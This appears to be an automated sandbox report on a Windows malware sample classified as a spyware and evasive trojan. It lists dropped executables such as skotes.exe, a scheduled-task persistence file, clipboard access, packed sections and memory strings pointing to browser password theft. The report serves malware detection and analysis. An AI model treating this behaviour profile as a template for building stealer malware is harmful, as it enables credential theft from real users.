Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50270 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50275 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50277 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50278 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50281 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50300 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50311 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50318 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50321 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Code function: 10_2_00434470 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

10_2_00434470

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Code function: 10_2_00434470 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

10_2_00434470

System Summary

Binary is likely a compiled AutoIt script file

Source: d986826e57.exe, 00000010.00000000.2782383899.0000000000602000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_077b7e4e-6
Source: d986826e57.exe, 00000010.00000000.2782383899.0000000000602000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_453e1de3-b
Source: d986826e57.exe, 00000029.00000002.3003709713.0000000000602000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_6683f1c2-c
Source: d986826e57.exe, 00000029.00000002.3003709713.0000000000602000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_183103f8-4

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe

File dump: service123.exe.12.dr 314617856

Jump to dropped file

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: a7f098a093.exe.6.dr	Static PE information: section name:
Source: a7f098a093.exe.6.dr	Static PE information: section name: .rsrc
Source: a7f098a093.exe.6.dr	Static PE information: section name: .idata
Source: a7f098a093.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: e5e907fecb.exe.6.dr	Static PE information: section name:
Source: e5e907fecb.exe.6.dr	Static PE information: section name: .idata
Source: e5e907fecb.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 3996dc7402.exe.6.dr	Static PE information: section name:
Source: 3996dc7402.exe.6.dr	Static PE information: section name: .idata
Source: 3996dc7402.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: 19cf1f0449.exe.6.dr	Static PE information: section name:
Source: 19cf1f0449.exe.6.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007BA050	7_2_007BA050
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007B8190	7_2_007B8190
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007C6030	7_2_007C6030
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007B1000	7_2_007B1000
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007C3D10	7_2_007C3D10
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007C89D0	7_2_007C89D0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007C8270	7_2_007C8270
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007BFE20	7_2_007BFE20
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007BDEF0	7_2_007BDEF0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007D6FF2	7_2_007D6FF2
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007C5780	7_2_007C5780
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007BA050	9_2_007BA050
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007C6030	9_2_007C6030
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007B1000	9_2_007B1000
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007C3D10	9_2_007C3D10
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007C89D0	9_2_007C89D0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007B8190	9_2_007B8190
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007C8270	9_2_007C8270
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007BFE20	9_2_007BFE20
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007BDEF0	9_2_007BDEF0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007D6FF2	9_2_007D6FF2
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007C5780	9_2_007C5780
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_0328F2F3	10_3_0328F2F3
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_0328F2F3	10_3_0328F2F3
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_03221B08	10_3_03221B08
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_0328F2F3	10_3_0328F2F3
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_0328F2F3	10_3_0328F2F3
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00439030	10_2_00439030
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0040E0D8	10_2_0040E0D8
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0043B8E0	10_2_0043B8E0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_004098F0	10_2_004098F0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00440C80	10_2_00440C80
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00423D70	10_2_00423D70
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00419530	10_2_00419530
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00441580	10_2_00441580
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_004089A0	10_2_004089A0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00428770	10_2_00428770
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0040CF05	10_2_0040CF05
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00421790	10_2_00421790
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00406840	10_2_00406840
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0043C040	10_2_0043C040
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00420870	10_2_00420870
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00406CC0	10_2_00406CC0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_004094D0	10_2_004094D0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0043F8D0	10_2_0043F8D0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_004324E0	10_2_004324E0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00405C90	10_2_00405C90
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00428CB0	10_2_00428CB0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0040E970	10_2_0040E970
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0040AD00	10_2_0040AD00
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_004341D0	10_2_004341D0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00403580	10_2_00403580
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_004061A0	10_2_004061A0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00420650	10_2_00420650
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0040B210	10_2_0040B210
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00409210	10_2_00409210
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00427E20	10_2_00427E20
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00404AC0	10_2_00404AC0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00425E90	10_2_00425E90
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0041FB60	10_2_0041FB60
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00440F60	10_2_00440F60
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0041DB30	10_2_0041DB30
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_004027D0	10_2_004027D0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_004077D0	10_2_004077D0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00402B80	10_2_00402B80
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0043C780	10_2_0043C780
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_004387B0	10_2_004387B0

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: String function: 007CA5E0 appears 66 times
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: String function: 007CD198 appears 36 times

Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8144 -s 1564

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982224965940054
Source: file.exe	Static PE information: Section: ejhkawnv ZLIB complexity 0.9945648861761176
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982224965940054
Source: skotes.exe.0.dr	Static PE information: Section: ejhkawnv ZLIB complexity 0.9945648861761176
Source: r5mqFEC[1].exe.6.dr	Static PE information: Section: .coS ZLIB complexity 1.000337184446254
Source: r5mqFEC.exe.6.dr	Static PE information: Section: .coS ZLIB complexity 1.000337184446254
Source: random[1].exe.6.dr	Static PE information: Section: gdiujpci ZLIB complexity 0.994316652913318
Source: a7f098a093.exe.6.dr	Static PE information: Section: gdiujpci ZLIB complexity 0.994316652913318
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9993148053278689
Source: random[1].exe0.6.dr	Static PE information: Section: ygcbzohu ZLIB complexity 0.9946352744919624
Source: e5e907fecb.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9993148053278689
Source: e5e907fecb.exe.6.dr	Static PE information: Section: ygcbzohu ZLIB complexity 0.9946352744919624
Source: random[1].exe1.6.dr	Static PE information: Section: jerbjqqv ZLIB complexity 0.9945139124773551
Source: 3996dc7402.exe.6.dr	Static PE information: Section: jerbjqqv ZLIB complexity 0.9945139124773551

Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@88/27@87/11

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Code function: 10_2_00439030 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

10_2_00439030

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\r5mqFEC[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6724:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2148:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8144
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6536:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6232:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1712:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5052:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 3996dc7402.exe, 0000000E.00000002.3262037928.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3257886939.000000001D6E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 3996dc7402.exe, 0000000E.00000002.3262037928.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3257886939.000000001D6E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 3996dc7402.exe, 0000000E.00000002.3262037928.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3257886939.000000001D6E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 3996dc7402.exe, 0000000E.00000002.3262037928.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3257886939.000000001D6E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 3996dc7402.exe, 0000000E.00000002.3262037928.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3257886939.000000001D6E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 3996dc7402.exe, 0000000E.00000002.3262037928.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3257886939.000000001D6E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 3996dc7402.exe, 0000000E.00000002.3262037928.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3257886939.000000001D6E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: r5mqFEC.exe, 0000000A.00000003.2462137831.0000000005A56000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2497796609.0000000005A38000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3480704186.0000000001611000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2858691252.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 3996dc7402.exe, 0000000E.00000002.3262037928.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3257886939.000000001D6E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 3996dc7402.exe, 0000000E.00000002.3262037928.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3257886939.000000001D6E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
